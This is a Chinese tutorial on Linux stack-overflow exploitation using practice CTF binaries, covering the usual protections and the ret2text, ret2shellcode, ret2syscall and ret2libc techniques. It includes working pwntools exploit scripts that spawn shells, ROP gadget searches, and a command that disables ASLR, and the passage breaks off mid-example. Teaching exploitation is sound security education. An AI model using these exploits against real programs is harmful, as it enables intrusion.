<p>高级语言在运行时都会被转换为汇编程序，在汇编程序运行过程中，充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间，其中某一部分就是该程序对应的栈，用于保存函数调用信息和局部变量。此外，常见的操作也是压栈与出栈。需要注意的是，<strong>程序的栈是从进程地址空间的高地址向低地址增长的</strong>。</p>
<p>esp/rsp -&gt; 栈顶；  ebp/rbp -&gt; 栈底</p>
<h2 id="函数调用栈"><a class="header" href="#函数调用栈">函数调用栈</a></h2>
<p>32 位和 64 位程序有以下简单的区别</p>
<ul>
<li><strong>x86</strong>
<ul>
<li><strong>函数参数</strong>在<strong>函数返回地址</strong>的上方</li>
</ul>
</li>
<li><strong>x64</strong>
<ul>
<li>System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在<strong>RDI, RSI, RDX, RCX, R8 和 R9 寄存器</strong>中，如果还有更多的参数的话才会保存在栈上。</li>
<li>内存地址不能大于 0x00007FFFFFFFFFFF，<strong>6 个字节长度</strong>，否则会抛出异常。</li>
</ul>
</li>
</ul>
<h1 id="保护机制"><a class="header" href="#保护机制">保护机制</a></h1>
<h3 id="aslr"><a class="header" href="#aslr">ASLR</a></h3>
<p><code>ASLR</code>（Address space layout randomization）是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置，达到阻止溢出攻击的目的。系统的防护措施，程序装载时生效。</p>
<p><code>Linux</code>检查是否开启<code>ASLR</code>，可用下面命令：</p>
<p><code>cat /proc/sys/kernel/randomize_va_space</code></p>
<p>如果<code>/proc/sys/kernel/randomize_va_space</code>里的值为<code>0</code>时，则表示ASLR关闭。</p>
<p>可用下面的命令手动关闭：</p>
<p><code>echo -n &quot;0&quot; &gt; /proc/sys/kernel/randomize_va_space</code></p>
<h3 id="depnx"><a class="header" href="#depnx">DEP/NX</a></h3>
<p>数据执行保护，默认栈的权限是可读、可写、不可执行。</p>
<p>gcc编译器默认开启该保护，编译时加上 <code>-z execstack</code> 则关闭该保护，<code>-z noexecstack</code> 是开启该保护。</p>
<p>（<code>-z </code>是传参给链接器，<code>execstack</code>是使目标文件的栈可以执行）</p>
<h3 id="canary"><a class="header" href="#canary">Canary</a></h3>
<p>编译器对栈溢出的一种保护机制，在函数执行时，先在栈上放置一个随机标识符，函数返回前会先检查标识符是否被修改，如果被修改则直接触发中断来中止程序，可以有效的防止栈溢出攻击。</p>
<p>gcc默认开启 Stack Guard ，编译时加上<code>-fno-stack-protector</code>参数就可以关闭<code> Stack Guard（CANARY）</code>。</p>
<pre><code class="language-shell">        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =&gt;  | old ebp         |
                +-----------------+
      rbp-8 =&gt;  | canary value    |
                +-----------------+
                | local variables |
        Low     |                 |
        Address
</code></pre>
<h3 id="relro"><a class="header" href="#relro">RELRO</a></h3>
<p><code>relro </code>是一种用于加强对 binary 数据段的保护的技术。relro 分为 <code>partial relro</code> 和<code> full relro</code>。</p>
<p>参数<code> -z norelro</code> 是关闭RELRO保护。</p>
<p><code>Partial RELRO</code></p>
<p>目前gcc 默认编译就是<code> partial relro</code>，参数是<code> -z relro</code></p>
<p>部分区块（比如：<code>.init_array .fini_array .jcr .dynamic </code>)在被动态装载（初始化）后，就被标记为只读区块。</p>
<p><code>Full RELRO</code></p>
<p>gcc编译参数是<code>-z relro -z now</code></p>
<p>拥有<code> Partial RELRO</code> 的所有特性，<strong>整个GOT表映射为只读的</strong></p>
<p>got表全局映射表，plt表存储的函数真实地址。</p>
<h3 id="pie"><a class="header" href="#pie">PIE</a></h3>
<p><code>PIE</code>(position-independent executable, 地址无关可执行文件) 技术就是一个针对代码段.text, 数据段<code>.*data，.bss</code>等固定地址的一个防护技术。同<code>ASLR</code>一样，应用了<code>PIE</code>的程序会在每次加载时都变换加载基址。</p>
<p>gcc编译器 编译时加上<code>-fpie -pie</code>即开启 PIE，不同 gcc 版本对于 PIE 的默认配置不同，我们可以使用命令<code>gcc -v</code>查看gcc 默认的开关情况。如果含有<code>--enable-default-pie</code>参数则代表 PIE 默认已开启。</p>
<p>编译时加上 <code>-no-pie </code>关闭PIE保护。没有开启的情况下.text, 数据段<code>.*data，.bss</code>等段的地址是固定的。</p>
<h1 id="栈溢出原理"><a class="header" href="#栈溢出原理">栈溢出原理</a></h1>
<h2 id="介绍"><a class="header" href="#介绍">介绍</a></h2>
<p>栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞，类似的还有堆溢出，bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃，重则可以使攻击者控制程序执行流程。此外，我们也不难发现，发生栈溢出的基本前提是</p>
<ul>
<li>程序必须向栈上写入数据。</li>
<li>写入的数据大小没有被良好地控制。</li>
</ul>
<h2 id="基本示例"><a class="header" href="#基本示例">基本示例</a></h2>
<p>最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址，<strong>当然需要确保这个地址所在的段具有可执行权限</strong>。下面，我们举一个简单的例子：</p>
<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
void success() {
    puts(&quot;You Hava already controlled it.&quot;);
}
void vulnerable() {
  char s[12];
  gets(s);//用户输入
  puts(s);//将用户输入输出
  return;
}
int main(int argc, char **argv) {
  vulnerable()；
  return 0;
}
</code></pre>
<p>这个程序的主要目的读取一个字符串，并将其输出。<strong>我们希望可以控制程序执行 success 函数。</strong></p>
<p>我们利用如下命令对其进行编译</p>
<pre><code class="language-shell">➜  stack-example  gcc -m32 -no-pie -fno-stack-protector -z execstack stack_example.c -o stack_example
stack_example.c: In function ‘vulnerable’:
stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
   gets(s);
   ^
/tmp/ccPU8rRA.o：在函数‘vulnerable’中：
stack_example.c:(.text+0x27): 警告： the `gets' function is dangerous and should not be used.
</code></pre>
<p>可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度，而是以回车来判断输入是否结束，所以很容易可以导致栈溢出，</p>
<blockquote>
<p>历史上，<strong>莫里斯蠕虫</strong>第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。</p>
</blockquote>
<p>编译成功后，可以使用 checksec 工具检查编译出的文件：</p>
<p>安装checksec</p>
<pre><code class="language-bash">sudo apt install checksec
</code></pre>
<pre><code>➜  stack-example checksec stack_example
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
</code></pre>
<p>为了降低后续漏洞利用复杂度，我们这里关闭 ASLR，在编译时关闭 PIE。。</p>
<p>确认栈溢出和 PIE 保护关闭后，我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到</p>
<pre><code class="language-C">int vulnerable()
{
  char s; // [sp+4h] [bp-14h]@1

  gets(&amp;s);
  return puts(&amp;s);
}
</code></pre>
<p>该字符串距离 ebp 的长度为 0x14，那么相应的栈结构为</p>
<pre><code class="language-text">                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp---&gt;+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14--&gt;+-----------------+
</code></pre>
<p>并且，我们可以通过 IDA 获得 success 的地址，其地址为 0x0804843B。</p>
<pre><code class="language-asm">.text:0804843B success         proc near
.text:0804843B                 push    ebp
.text:0804843C                 mov     ebp, esp
.text:0804843E                 sub     esp, 8
.text:08048441                 sub     esp, 0Ch
.text:08048444                 push    offset s        ; &quot;You Hava already controlled it.&quot;
.text:08048449                 call    _puts
.text:0804844E                 add     esp, 10h
.text:08048451                 nop
.text:08048452                 leave
.text:08048453                 retn
.text:08048453 success         endp
</code></pre>
<p>那么如果我们读取的字符串为</p>
<pre><code>0x14*'a'+'bbbb'+success_addr
</code></pre>
<p>那么，由于 gets 会读到回车才算结束，所以我们可以直接读取所有的字符串，并且将 saved ebp 覆盖为 bbbb，将 retaddr 覆盖为 success_addr，即，此时的栈结构为</p>
<pre><code class="language-text">                                           +-----------------+
                                           |    0x0804843B   |
                                           +-----------------+
                                           |       bbbb      |
                                    ebp---&gt;+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14--&gt;+-----------------+
</code></pre>
<p>但是需要注意的是，由于在计算机内存中，每个值都是按照字节存储的。一般情况下都是采用小端存储，即0x0804843B 在内存中的形式是</p>
<pre><code class="language-text">\x3b\x84\x04\x08
</code></pre>
<p>但是，我们又不能直接在终端将这些字符给输入进去，在终端输入的时候\，x等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用<code> pwntools</code></p>
<pre><code class="language-shell">python -m pip install pwntools
</code></pre>
<p>这里利用 pwntools 的代码如下：</p>
<pre><code class="language-python">##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) # p64()\p16()\p8()
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
</code></pre>
<p>执行代码，可以得到</p>
<pre><code class="language-shell">➜  stack-example python exp.py
[+] Starting local process './stack_example': pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive
</code></pre>
<p>可以看到我们确实已经执行 success 函数。</p>
<h2 id="小总结"><a class="header" href="#小总结">小总结</a></h2>
<p>上面的示例其实也展示了栈溢出中比较重要的几个步骤。</p>
<h3 id="寻找危险函数"><a class="header" href="#寻找危险函数">寻找危险函数</a></h3>
<h3 id="确定填充长度"><a class="header" href="#确定填充长度">确定填充长度</a></h3>
<p>这一部分主要是计算<strong>我们所要操作的地址与我们所要覆盖的地址的距离</strong>。</p>
<p>一般来说，我们会有如下的覆盖需求</p>
<ul>
<li><strong>覆盖函数返回地址</strong>，这时候就是直接看 EBP 即可。</li>
<li><strong>覆盖栈上某个变量的内容</strong>，这时候就需要更加精细的计算了。</li>
<li><strong>覆盖 bss 段某个变量的内容</strong>。</li>
<li>根据现实执行情况，覆盖特定的变量或地址的内容。</li>
</ul>
<p>之所以我们想要覆盖某个地址，是因为我们想通过覆盖地址的方法来<strong>直接或者间接地控制程序执行流程</strong>。</p>
<h1 id="基本-rop"><a class="header" href="#基本-rop">基本 ROP</a></h1>
<p>随着 NX 保护的开启，以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护，目前主要的是 ROP(Return Oriented Programming)，其主要思想是在**栈缓冲区溢出的基础上，利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值，从而控制程序的执行流程。**所谓gadgets 就是以 <code>ret  &lt;==&gt; pop eip;</code>结尾的指令序列，通过这些指令序列，我们可以修改某些地址的内容，方便控制程序的执行流程。</p>
<p>之所以称之为 ROP，是因为核心在于利用了指令集中的 ret 指令，改变了指令流的执行顺序。ROP 攻击一般得满足如下条件</p>
<ul>
<li>程序存在溢出，并且可以控制返回地址。</li>
<li>可以找到满足条件的 gadgets 以及相应 gadgets 的地址。</li>
</ul>
<p>如果 gadgets 每次的地址是不固定的，那我们就需要想办法动态获取对应的地址了。</p>
<h2 id="ret2text"><a class="header" href="#ret2text">ret2text</a></h2>
<h3 id="原理"><a class="header" href="#原理">原理</a></h3>
<p>ret2text 即控制程序执行程序本身已有的的代码(.text)。其实，这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets)，这就是我们所要说的ROP。</p>
<p>这时，我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护，我们需要想办法去绕过这些保护。</p>
<h3 id="例子"><a class="header" href="#例子">例子</a></h3>
<p>首先，查看一下程序的保护机制</p>
<pre><code class="language-shell">➜  ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
</code></pre>
<p>可以看出程序是 32 位程序，其仅仅开启了栈不可执行保护。然后，我们使用 IDA 来查看源代码。</p>
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts(&quot;There is something amazing here, do you know anything?&quot;);
  gets((char *)&amp;v4);
  printf(&quot;Maybe I will tell you next time !&quot;);
  return 0;
}
</code></pre>
<p>可以看出程序在主函数中使用了 gets 函数，显然存在栈溢出漏洞。此后又发现</p>
<pre><code class="language-asm">.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; &quot;/bin/sh&quot;
.text:08048641                 call    _system
</code></pre>
<p>在 secure 函数又发现了存在调用 system(“/bin/sh”) 的代码，那么如果我们直接控制程序返回至 0x0804863A，那么就可以得到系统的 shell 了。</p>
<p>下面就是我们如何构造 payload 了，首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。</p>
<pre><code class="language-asm">.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets
</code></pre>
<p>可以看到该字符串是通过相对于 esp 的索引，所以我们需要进行调试，将断点下在 call之后处，查看我们的输入和ebp的相对位置，如下</p>
<pre><code class="language-shell">pwndbg&gt; b *0x080486B3
Breakpoint 1 at 0x80486b3: file ret2text.c, line 25.
pwndbg&gt; r
Starting program: /home/dj/桌面/PWN/ret2text
There is something amazing here, do you know anything?
aaaaaaaaa

Breakpoint 1, main () at ret2text.c:25
.......
......
#此时ebp=0xffffd048
pwndbg&gt; stack 30
00:0000│ esp  0xffffcfc0 —▸ 0xffffcfdc ◂— 'aaaaaaaaa'
01:0004│      0xffffcfc4 ◂— 0x0
02:0008│      0xffffcfc8 ◂— 0x1
03:000c│      0xffffcfcc ◂— 0x0
04:0010│      0xffffcfd0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f40
05:0014│      0xffffcfd4 —▸ 0xf7ffd918 ◂— 0x0
06:0018│      0xffffcfd8 —▸ 0xffffcff0 ◂— 0xffffffff
07:001c│ eax  0xffffcfdc ◂— 'aaaaaaaaa'
</code></pre>
<p>可以看到输入值地址为 0xffffcfdc，ebp 为 0xffffd048，因此，我们可以得到</p>
<ul>
<li>s 相对于 ebp 的偏移为 0x6c</li>
<li>s 相对于返回地址的偏移为 0x6c+4</li>
</ul>
<p>最后的 payload 如下：</p>
<pre><code class="language-python">##!/usr/bin/env python
from pwn import *

p = process('./ret2text')
system_addr = 0x0804863A

payload = 'a'*0x6c + 'bbbb' + p32(system_addr)

p.sendline(payload)
p.interactive()
</code></pre>
<h2 id="ret2shellcode"><a class="header" href="#ret2shellcode">ret2shellcode</a></h2>
<h3 id="原理-1"><a class="header" href="#原理-1">原理</a></h3>
<p>ret2shellcode，即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。<strong>一般来说，shellcode 需要我们自己填充。这其实是另外一种典型的利用方法，即此时我们需要自己去填充一些可执行的代码</strong>。</p>
<p>在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限。</p>
<h3 id="例子-1"><a class="header" href="#例子-1">例子</a></h3>
<p>这里我们以 bamboofox 中的 ret2shellcode 为例</p>
<p>首先检测程序开启的保护</p>
<pre><code class="language-shell">➜  ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
</code></pre>
<p>可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。我们再使用 IDA 看一下程序</p>
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts(&quot;No system for you this time !!!&quot;);
  gets((char *)&amp;v4);
  strncpy(buf2, (const char *)&amp;v4, 0x64u);
  printf(&quot;bye bye ~&quot;);
  return 0;
}
</code></pre>
<p>可以看出，程序仍然是基本的栈溢出漏洞，不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。</p>
<pre><code class="language-asm">.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
</code></pre>
<p>这时，我们简单的调试下程序，看看这一个 bss 段是否可执行。</p>
<pre><code class="language-shell">pwndbg&gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/dj/桌面/PWN/ret2shellcode
 0x8049000  0x804a000 r-xp     1000 0      /home/dj/桌面/PWN/ret2shellcode
 0x804a000  0x804b000 rwxp     1000 1000   /home/dj/桌面/PWN/ret2shellcode
 0x804b000  0x806c000 rwxp    21000 0      [heap]
0xf7dfd000 0xf7dfe000 rwxp     1000 0
0xf7dfe000 0xf7fae000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 ---p     1000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb1000 r-xp     2000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb2000 rwxp     1000 1b2000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb2000 0xf7fb5000 rwxp     3000 0
0xf7fd3000 0xf7fd4000 rwxp     1000 0
0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]
0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]
0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r-xp     1000 22000  /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rwxp     1000 23000  /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]
</code></pre>
<p>通过 vmmap，我们可以看到 bss 段对应的段具有可执行权限</p>
<pre><code class="language-text"> 0x804a000  0x804b000 rwxp     1000 1000   /home/dj/桌面/PWN/ret2shellcode
</code></pre>
<p>那么这次我们就控制程序执行 shellcode，也就是读入 shellcode，然后控制程序执行 bss 段处的 shellcode。其中，相应的偏移计算类似于 ret2text 中的例子。</p>
<p>具体的 payload 如下</p>
<pre><code class="language-python">#!/usr/bin/env python
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
p.interactive()
</code></pre>
<h3 id="题目"><a class="header" href="#题目">题目</a></h3>
<h2 id="ret2syscall"><a class="header" href="#ret2syscall">ret2syscall</a></h2>
<h3 id="原理-2"><a class="header" href="#原理-2">原理</a></h3>
<p>ret2syscall，即控制程序执行系统调用，获取 shell。</p>
<p>int 0x80;</p>
<h3 id="例子-2"><a class="header" href="#例子-2">例子</a></h3>
<p>首先检测程序开启的保护</p>
<pre><code class="language-shell">➜  ret2syscall checksec rop
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
</code></pre>
<p>可以看出，源程序为 32 位，开启了 NX 保护。接下来利用 IDA 来查看源码</p>
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts(&quot;This time, no system() and NO SHELLCODE!!!&quot;);
  puts(&quot;What do you plan to do?&quot;);
  gets(&amp;v4);
  return 0;
}
</code></pre>
<p>可以看出此次仍然是一个栈溢出。类似于之前的做法，我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次，由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell，所以我们利用程序中的 gadgets 来获得 shell，而对应的 shell 获取则是利用系统调用。</p>
<p>int</p>
<p>系统调用手册</p>
<ul>
<li>https://syscalls.w3challs.com/</li>
</ul>
<p>简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell</p>
<pre><code class="language-C">execve(&quot;/bin/sh&quot;,NULL,NULL)
</code></pre>
<p>其中，该程序是 32 位，所以我们需要使得 pop ebx,pop ecx,pop eax;ret   ; 0x80BE408,0,0xb</p>
<ul>
<li>
<p>系统调用号，即 eax 应该为 0xb  ; <code>pop eax; ret;</code> <code> *(esp) = 0xb -&gt;  eax=0xb</code></p>
</li>
<li>
<p>第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。<code>pop ebx ;ret</code></p>
<p><code>*(esp)=0x80BE408  -&gt; ebx = 0x080BE408</code></p>
</li>
<li>
<p>第二个参数，即 ecx 应该为 0</p>
</li>
<li>
<p>第三个参数，即 edx 应该为 0</p>
</li>
</ul>
<p>而我们如何控制这些寄存器的值 呢？这里就需要使用 gadgets。比如说，现在栈顶是 10，那么如果此时执行了pop eax，那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法，我们可以使用 ropgadgets 这个工具。</p>
<p>安装<code>ropgadgets </code></p>
<pre><code class="language-bash">git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python setup.py develop
</code></pre>
<p>首先，我们来寻找控制 eax 的gadgets</p>
<pre><code class="language-shell">➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
</code></pre>
<p>可以看到有上述几个都可以控制 eax，我选取第二个来作为 gadgets。</p>
<p>类似的，我们可以得到控制其它寄存器的 gadgets</p>
<pre><code class="language-shell">➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
</code></pre>
<p>这里，我选择</p>
<pre><code class="language-text">0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
</code></pre>
<p>这个可以直接控制其它三个寄存器。</p>
<p>此外，我们需要获得 /bin/sh 字符串对应的地址。</p>
<pre><code class="language-shell">➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
</code></pre>
<p>可以找到对应的地址，此外，还有 int 0x80 的地址，如下</p>
<pre><code class="language-text">➜  ret2syscall ROPgadget --binary rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4
</code></pre>
<p>同时，也找到对应的地址了。</p>
<p>下面就是对应的 payload，其中 0xb 为 execve 对应的系统调用号。</p>
<pre><code class="language-python">#!/usr/bin/env python
from pwn import *

p = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = 'a'*0x6c + 'bbbb'
payload += p32(pop_eax_ret)+p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)
payload += p32(int_0x80)

gdb.attach(p)
p.sendline(payload)

</code></pre>
<h3 id="题目-1"><a class="header" href="#题目-1">题目</a></h3>
<h2 id="ret2libc"><a class="header" href="#ret2libc">ret2libc</a></h2>
<h3 id="原理-3"><a class="header" href="#原理-3">原理</a></h3>
<p>ret2libc 即控制函数的执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下，我们会选择执行 system(“/bin/sh”)，故而此时我们需要知道 system 函数的地址。</p>
<h3 id="例子-3"><a class="header" href="#例子-3">例子</a></h3>
<p>我们由简单到难分别给出三个例子。</p>
<h4 id="例1"><a class="header" href="#例1">例1</a></h4>
<p>首先，我们可以检查一下程序的安全保护</p>
<pre><code class="language-shell">➜  ret2libc1 checksec ret2libc1
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
</code></pre>
<p>源程序为 32 位，开启了 NX 保护。下面来看一下程序源代码，确定漏洞位置</p>
<pre><code class="language-c">int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts(&quot;RET2LIBC &gt;_&lt;&quot;);
  gets((char *)&amp;v4);
  return 0;
}
</code></pre>
<p>可以看到在执行 gets 函数的时候出现了栈溢出。此外，利用 ropgadget，我们可以查看是否有 /bin/sh 存在</p>
<pre><code class="language-shell">➜  ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
</code></pre>
<p>确实存在，再次查找一下是否有 system 函数存在。经在 ida 中查找，确实也存在。</p>
<pre><code class="language-asm">.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
</code></pre>
<p>那么，我们直接返回该处，即执行 system 函数。相应的 payload 如下</p>
<pre><code class="language-python">#!/usr/bin/env python
from pwn import *

p = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = 'a' * 112
payload += p32(system_plt) + 'bbbb' + p32(binsh_addr) # system('/bin/sh');
p.sendline(payload)

p.interactive()
</code></pre>
<p>这里我们需要注意函数调用栈的结构，如果是正常调用 system 函数，我们调用的时候会有一个对应的返回地址，这里以 ‘bbbb’ 作为虚假的地址，其后参数对应的参数内容。</p>
<p>这个例子相对来说简单，同时提供了 system 地址与 /bin/sh 的地址，但是大多数程序并不会有这么好的情况。</p>
<h4 id="例2"><a class="header" href="#例2">例2</a></h4>
<p>该题目与例 1 基本一致，只不过不再出现 /bin/sh 字符串，所以此次需要我们自己来读取字符串，所以我们需要两个 gadgets，第一个控制程序读取字符串，第二个控制程序执行 system(“/bin/sh”)。由于漏洞与上述一致，这里就不在多说，具体的 exp 如下:</p>
<p>gets(s) -&gt; overwrite ret_addr -&gt; gets(buf2); 输入’/bin/sh‘</p>
<p>buf2 -&gt; “/bin/sh”</p>
<p>system + ret_addr + buf2_addr</p>
<pre><code class="language-python">##!/usr/bin/env python
